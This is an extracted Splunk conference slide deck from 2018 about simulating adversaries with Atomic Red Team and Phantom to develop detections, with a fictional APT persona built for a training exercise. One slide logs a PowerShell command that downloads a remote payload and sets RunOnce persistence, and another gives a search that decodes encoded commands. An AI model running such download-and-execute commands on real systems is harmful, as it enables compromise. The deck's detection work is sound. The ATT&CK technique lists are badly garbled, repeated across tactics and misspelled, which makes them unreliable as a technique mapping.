From Automation to Analytics
Simulating the Adversary to Create Better Detections

Tactical Detection Summit
December 2018
Dave Herrald and Ryan Kovar @Splunk
Disclaimer

During the course of this presentation, we may make forward looking statements regarding future events or the expected performance of the company. I often lie. Maybe this is a lie. Wik Alsø wik Alsø alsø wik Wi nøt trei a høliday in Sweden this yėr? See the løveli lakes The wøndērful telephøne system And mäni interesting furry animals The characters and incidents portrayed and the names used in this Presentation are fictitious and any similarity to the names, characters, or history of any person is entirely accidental and unintentional. Signed RICHARD M. NIXON Including the majestik møøse A Møøse once bit my Marcus... No realli! He was Karving his initials on the møøse with the sharpened end of an interspace tøøthbrush given him by Svenge – his brother-in-law – a Canadian dentist and star of many Norwegian møovies: "The Høt Hands of an Canadian Dentist", "Fillings of Passion", "The Huge Mølars of Horst Nordfink"... In addition, any information about our roadmap outlines our general product direction and is subject to change at any time without notice. Splunk undertakēs no øbligation either to develop the features or functionality described or to include any such feature or functionality in a future release.
# whoami  >  Dave Herrald

CISSP, GIAC G*, GSE #79

- 25+ years IT and security
- Information security officer, security architect, pen tester, consultant, SE, system/network engineer
- Former SANS Mentor
- Co-creator of Splunk Boss of the SOC

Staff Security Strategist
@daveherrald
# whoami > Ryan Kovar

CISSP, MSc(Dist)

- 19 years of cyber security experience
- Worked in US/UK Public Sector and DOD most recently in nation state hunting roles
- Enjoys clicking too fast, long walks in the woods, and data visualization
- Current role on Security Practice team focuses on incident/breach response, threat intelligence, and research
- Currently interested in automating methods to triage data collection for IR analyst review.
- Also investigating why printers are so insubordinate 🙃<_🙃
- Co-creator of Splunk Boss of the SOC

Principal Security Strategist
Minster of the OODAloopers
@meansec
We use Splunk (and Phantom)

But you don’t have to!
Agenda

• Faking it till you make it (APT Style)
• A brief review of some new simulation tooling
• Simulating a realistic adversary with automation
• Developing New Detection Analytics
• Free stuff
If you’ve never been a red teamer...  

... Sit Down
If you’ve never automated your red teaming...

... Sit Down
If you’ve never been a fake nationstate APT group…

… Sit Down
splunk® BOSS
OF THE SOC
I should build a fake APT... but I should keep it real.
Not just a "Flag" but personas and infrastructure
• Seeking to obtain high end Western Beers for production in their breweries

• Nation state sponsored adversary
• Located (+8.0 time zone)
• Uses Korean encoded language
• Uses Hancom Thinkfree Office

• PowerShell Empire
• Spear phishing

• European VPS servers

• Documents with .hwp suffix
• PS exec lateral movement
• YMLP
• Self signed SSL/TLS certificates
• +8.0 hour time zone

• Western innovative Brewers and Home Brewing companies

A special thanks to TAEDONGGANG STOUT
Search results for "Powershell"

Note: click on the search term to see this page in a new window or bookmark your search.

- **GlobalThreatIntelReport.pdf**
- **OilRig Group Steps Up Attacks with New Delivery Documents and New Injector Trojan - Palo Alto Networks.pdf**
- **FreeMilk_ A Highly Targeted Spear Phishing Campaign_Palo_Alto_Networks.pdf**
- **Supply Chain Attack Operation Red Signature Targets South Korean Organizations - TrendLabs Security Intelligence Blog.pdf**
- **PowerDuke_ Widespread Post-Election Spear Phishing Campaigns Targeting Think Tanks and NGOs - Volexity Blog.pdf**
TAEDONGGANG Techniques
T1087 - Account Discovery

Description from ATT&CK

Adversaries may attempt to get a listing of local system or domain accounts.

--- Windows ---

Example commands that can acquire this information are `net user`, `net group`, and `net localgroup` using the `Net` utility or through use of `dsquery`. If adversaries attempt to identify the primary user, currently logged in user, or set of users that commonly uses a system, System Owner/User Discovery may apply.
The Tools
Tool makers

Tim Frazier
Senior Sales Engineer
Splunk Phantom
@timfrazier1

Kyle Champlain
Product Manager
Splunk
@Dishwishy
SEC1244 - Cops and Robbers: Simulating the Adversary to Test Your Splunk Security Analytics

Your organization spends a lot of time and money on its security program. Shouldn’t you be able to show that all the investment is paying off? With the popularity of Splunk Security Essentials and the Splunk Enterprise Security Content Update, Splunk customers have never had access to more high-quality analytics, but how can you ensure that they are working correctly? Can you detect known adversary tactics, techniques and procedures? This presentation will introduce a new method for adversary simulation using Splunk. We’ll show how this framework can test your detection capabilities against the techniques included in MITRE ATT&CK™ using the Atomic Red Team open source project. This approach will take advantage of the Phantom platform to orchestrate test execution on live systems. Finally, we will analyze evidence of the activity in Splunk. Associated Splunk apps and resources will be published, so you can start taking advantage of this as soon as you return to the office.
Slides and Video

https://conf.splunk.com/conf-online.html?search=1244#/

---

**SEC1244 - Cops and Robbers: Simulating the Adversary to Test Your Splunk Security Analytics**

*David Herrald, Staff Security Strategist, Splunk*

*Tim Frazier, Senior Sales Engineer, Splunk*

In this presentation, we will cover:

- The Splunk Security Analytics platform and the current state of Splunk Enterprise Security Content Update
- How Splunk customers have never had access to more high-quality analytics, but how can you ensure that they are working correctly? Can you detect known adversary tactics, techniques, and procedures? This presentation will introduce the concept of adversarial simulation and how Splunk customers can take advantage of this feature to test the effectiveness of their security controls
- We will also introduce the Splunk Phantom framework and how it can be used to deploy the simulation capabilities that will be covered in the first part of the presentation
- Finally, we will provide real-world examples of how customers have used these capabilities to demonstrate the effectiveness of their security controls. We will also discuss how customers can take advantage of the Phantom platform to orchestrate test execution on live systems. Finally, we will test the evidence of the activity in Splunk. Associated Splunk apps and resources will be published, so you can start taking advantage of this approach as soon as you return to the office.
TL;DR

Splunk Simulation Runner

Phantom
  Atomic Red Team App
    Implements ATR in Phantom
  Adversary Simulation Playbook
    Executes Atomic Red Team detection tests

Windows
  Splunk UF
OSX
  Splunk UF
Linux
  Splunk UF
**TL;DR**

**Splunk**
- ATT&CK Navigator
- Simulation Runner
- Splunk Security Analytics
  - Splunk Security Essentials
  - Splunk Enterprise Security

**Phantom**
- Atomic Red Team App
  - Implements ATR in Phantom
- Adversary Simulation Playbook
  - Executes Atomic Red Team detection tests

Platforms:
- Windows
- OSX
- Linux

**Splunk UF**
Use this Tooling to Develop New Detections

Splunk Simulation Runner

ATT&CK Navigator

Simulation Runner

Splunk

Phantom

Atomic Red Team App
Implements ATR in Phantom

Adversary Simulation Playbook
Executes Atomic Red Team detection tests

Windows
OSX
Linux

Splunk UF
Splunk UF
Splunk UF
Thank You to Atomic Red Team

Atomic Red Team

Atomic Red Team is an open source collection of small, highly portable tests mapped to the corresponding techniques in the MITRE ATT&CK framework. These tests can be used to validate detection and response technology and processes.

GET THE REPO

Browse popular Atomic Red Team resources below to learn more.

https://www.redcanary.com/atomic-red-team
# ATT&CK Navigator in Splunk

## Initial Access
- Drive-by Compromise
- Exploit Public-Facing Application
- Hardware Additions
- Replication Through Removable Media
- Spear phishing
- Supply Chain Compromise
- Trusted Relationship
- Valid Accounts

## Execution
- AppleScript
- CMSTP
- Command-Line Interface
- Control Panel Items
- Dynamic Data Exchange
- Execution through API
- Execution through Module Load
- Exploitation for Client Execution
- Graphical User Interface
- Install/Uninstall
- Launch/Run
- Local Job Scheduling
- LSASS Driver
- Msihta
- PowerShell
- Regsvcs/Regasm
- Regsvr32
- Scheduled Task
- Scripting
- Service Execution

## Persistence
- .bash_profile and .bashrc
- Accessibility Features
- Application Dlls
- Application Shimming
- Authentication Package
- BITS Jobs
- Bootkit
- Browser Extensions
- Change Default File Association
- Component Firmware
- Component Object Model Hijacking
- Create Account
- DLL Search Order Hijacking
- Dylib Hijacking
- External Remote Services
- File System Permissions Weakness
- Hooking
- Image File Execution Options Injection
- Launch Daemon
- New Service
- Path Interception
- Process Hijacking

## Privilege Escalation
- Access Token Manipulation
- Binary Padding
- BITS Jobs
- Bypass User Account Control
- Clear Command History
- Code Signing
- Component Firmware
- Component Object Model Hijacking
- Control Panel Items
- DC/Shadow
- Deshadow/Decode Files or Information
- Disabling Security Tools
- DLL Search Order Hijacking
- DLL Side-Loading
- Exploitation for Defense Evasion
- Extra Window Memory Injection
- File System Permissions Weakness
- Hooking
- Image File Execution Options Injection
- Launch Daemon
- New Service
- Path Interception
- Privilege Escalation

## Defense Evasion
- Account Manipulation
- Account Discovery
- Application Window Discovery
- Browser Bookmark Discovery
- Discovery
- Exploitation
- Forged Autentication
- Hooking
- Input Capture
- Input Prompt
- Kerbcastning
- Keychain
- LLUMNRS.NT
- Poisoning
- Network Sniffing
- Password Filter DLL
- Private Keys
- Replication Through Removable Media
- Removable Memory
- Signature
- Security Software Discovery
- Service Discovery
- System Information Discovery
- System Network Configuration
- System Utilities
- Trusted Relationship
- Valid Accounts

## Credential Access
- Account Manipulation
- Account Discovery
- Application Window Discovery
- Browser Bookmark Discovery
- Discovery
- Exploitation
- Forged Authentication
- Hooking
- Input Capture
- Input Prompt
- Kerbcastning
- Keychain
- LLUMNRS.NT
- Poisoning
- Network Sniffing
- Password Filter DLL
- Private Keys
- Replication Through Removable Media
- Removable Memory
- Signature
- Security Software Discovery
- Service Discovery
- System Information Discovery
- System Network Configuration
- System Utilities
- Trusted Relationship
- Valid Accounts

## Discovery
- Account Manipulation
- Account Discovery
- Application Window Discovery
- Browser Bookmark Discovery
- Discovery
- Exploitation
- Forged Authentication
- Hooking
- Input Capture
- Input Prompt
- Kerbcastning
- Keychain
- LLUMNRS.NT
- Poisoning
- Network Sniffing
- Password Filter DLL
- Private Keys
- Replication Through Removable Media
- Removable Memory
- Signature
- Security Software Discovery
- Service Discovery
- System Information Discovery
- System Network Configuration
- System Utilities
- Trusted Relationship
- Valid Accounts

## Lateral Movement
- Account Manipulation
- Account Discovery
- Application Window Discovery
- Browser Bookmark Discovery
- Discovery
- Exploitation
- Forged Authentication
- Hooking
- Input Capture
- Input Prompt
- Kerbcastning
- Keychain
- LLUMNRS.NT
- Poisoning
- Network Sniffing
- Password Filter DLL
- Private Keys
- Replication Through Removable Media
- Removable Memory
- Signature
- Security Software Discovery
- Service Discovery
- System Information Discovery
- System Network Configuration
- System Utilities
- Trusted Relationship
- Valid Accounts

## Collection
- Account Manipulation
- Account Discovery
- Application Window Discovery
- Browser Bookmark Discovery
- Discovery
- Exploitation
- Forged Authentication
- Hooking
- Input Capture
- Input Prompt
- Kerbcastning
- Keychain
- LLUMNRS.NT
- Poisoning
- Network Sniffing
- Password Filter DLL
- Private Keys
- Replication Through Removable Media
- Removable Memory
- Signature
- Security Software Discovery
- Service Discovery
- System Information Discovery
- System Network Configuration
- System Utilities
- Trusted Relationship
- Valid Accounts

## Exfiltration
- Account Manipulation
- Account Discovery
- Application Window Discovery
- Browser Bookmark Discovery
- Discovery
- Exploitation
- Forged Authentication
- Hooking
- Input Capture
- Input Prompt
- Kerbcastning
- Keychain
- LLUMNRS.NT
- Poisoning
- Network Sniffing
- Password Filter DLL
- Private Keys
- Replication Through Removable Media
- Removable Memory
- Signature
- Security Software Discovery
- Service Discovery
- System Information Discovery
- System Network Configuration
- System Utilities
- Trusted Relationship
- Valid Accounts

## Command And Control
- Account Manipulation
- Account Discovery
- Application Window Discovery
- Browser Bookmark Discovery
- Discovery
- Exploitation
- Forged Authentication
- Hooking
- Input Capture
- Input Prompt
- Kerbcastning
- Keychain
- LLUMNRS.NT
- Poisoning
- Network Sniffing
- Password Filter DLL
- Private Keys
- Replication Through Removable Media
- Removable Memory
- Signature
- Security Software Discovery
- Service Discovery
- System Information Discovery
- System Network Configuration
- System Utilities
- Trusted Relationship
- Valid Accounts
Kick off a simulation
**Start and End Events**

### Events matching GUID

<table>
<thead>
<tr>
<th>Time</th>
<th>Event</th>
</tr>
</thead>
<tbody>
<tr>
<td>11:30:42 AM</td>
<td>guid: 1105181103 msg: Started red team test: T1060 on machine with IPv address: 172.31.76.156 playbook_info: [ ]</td>
</tr>
<tr>
<td>11:30:45 AM</td>
<td>guid: 1105181103 msg: Finished red team test: T1060 on machine with IPv address: 172.31.76.156 playbook_info: [ ]</td>
</tr>
</tbody>
</table>

*Source: Module: simulation*
Signs of Test Execution

- **Date:** March 3, 2016
- **Time:** 11:30:45 AM

**Event Log Entry:**
- **Computer:** EC2AMAZ-XXS587F7
- **User:** InWinEventLogApplication
- **Source:** InWinEventLogApplication
- **Event ID:** 1105181103
- **Task Manager:** EventLog

**Event Summary:**
- **Message:** Finished red team test: T1060 on machine with IP address: 172.31.76.156
- **Playbook Info:**

---

**Command Lines of Events during test time**

- **Registry value set**
  - `powershell.exe Get-ItemProperty -Name "IEK (New-Object Net.WebClient)" -Path "[https://raw.githubusercontent.com/redcanary/atomic-red-team/master/Master/Windows/Playsloads/Discovery.bat]"` (HLM\SOFTWARE\Microsoft\Windows\CurrentVersion\RunOnce\NetRun)

- **File Created**
  - `powershell.exe Get-ItemProperty -Name "IEK (New-Object Net.WebClient)" -Path "[https://raw.githubusercontent.com/redcanary/atomic-red-team/master/Master/Windows/Playsloads/Discovery.bat]"` (HLM\SOFTWARE\Microsoft\Windows\CurrentVersion\RunOnce\NetRun)
Finally Write the Analytic

```
earliest=1540229442 latest=1540229445 host=EC2AMAZ-M558717
| sort  _time
| rex field=CommandLine "*-encodedcommand (?<payload>[a-zA-Z0-9-+=]*)"
| search payload="
| base64 action=decode field=payload
| eval payload=replace(payload,\\x00"","")
| table payload
```
“In conclusion...”
Just one more thing...
THEDOMINION ART

BOSS OF THE SOC
This is not the web page you are looking for.

Find code, projects, and people on GitHub:

Cloud Compromises

Search
• Nation-state sponsored adversary
• Located (+8.0 timezone)

• Compromised AWS EC2 instances
• Compromised Chinese hosts

• Vulnerability scanning
• Amplification DoS attacks
• Crypto-coin mining

• Western innovative Brewers and Home Brewing companies

• Aliases:
  • 6HOUL@G3R
  • CRYP70KOL5CH

• Known public Coinhive site key:
  • swUaVm1xhugv49RmyEMucajPO8VPAUIS

A special thanks to TAEDONGGANG LAGER
“In conclusion...”
Takeaways

• Adversary simulation is helpful for security analytic development
• Tooling is increasingly available
• Purple Team can be realized
• We still haven’t solved cyber
• Cloud :’( 
Free Tools

- MITRE ATT&CK Navigator in a Splunk Dashboard
  https://github.com/daveherrald/SA-attck-nav
- Simulation Runner App for Splunk
  https://github.com/daveherrald/SA-advsim
- Adversary Simulation Playbook for Phantom
  https://github.com/daveherrald/AdvSim
- Atomic Red Team App for Phantom
  https://github.com/daveherrald/ART_Phantom

https://conf.splunk.com/conf-online.html?search=1244#/
Dave Herrald
@daveherrald

Ryan Kovar
@meansec